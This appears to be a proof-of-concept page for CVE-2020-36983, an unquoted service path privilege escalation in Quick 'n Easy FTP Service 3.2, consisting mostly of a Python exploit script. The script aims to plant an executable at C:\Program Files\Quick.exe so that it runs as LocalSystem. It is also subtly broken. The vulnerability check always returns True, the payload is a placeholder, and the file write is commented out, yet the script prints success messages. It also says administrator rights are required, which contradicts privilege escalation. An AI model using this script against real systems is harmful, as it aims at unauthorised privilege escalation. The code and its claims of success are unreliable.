CVE-2020-36983: Quick 'n Easy FTP Service未引号服务路径权限提升漏洞

# CVE-2020-36983 PoC - Unquoted Service Path Privilege Escalation # Target: Quick 'n Easy FTP Service 3.2 # Author: Security Researcher # Note: Educational purposes only import os import shutil import sys def check_vulnerability(): """Check if target service exists and is vulnerable""" service_name = "Quick 'n Easy FTP Service" # In real scenario, query Windows Registry for service configuration # HKLM\SYSTEM\CurrentControlSet\Services\<ServiceName> return True def create_malicious_executable(): """Generate malicious executable to place in unquoted path""" # This represents the attacker's payload # In production, this would be actual malicious code malicious_code = b'MZ' + b'\x00' * 100 # Minimal PE header placeholder # Attacker's payload location (C:\Program Files\Quick.exe) target_path = r'C:\Program Files\Quick.exe' try: # In real attack, write actual malicious executable # with open(target_path, 'wb') as f: # f.write(malicious_code) print(f"[*] Would create malicious executable at: {target_path}") return True except PermissionError: print("[-] Insufficient privileges to write to target path") print("[*] This exploit requires administrator privileges") return False def exploit(): """Main exploitation logic""" if not check_vulnerability(): print("[-] Target service not found or not vulnerable") return False print("[*] CVE-2020-36983 - Quick 'n Easy FTP Service Exploit") print("[*] Service path is unquoted, attempting privilege escalation...") if create_malicious_executable(): print("[+] Malicious executable placed successfully") print("[*] Wait for service restart or system reboot") print("[*] Payload will execute with LocalSystem privileges") return True return False if __name__ == "__main__": print("WARNING: This is for authorized security testing only") exploit()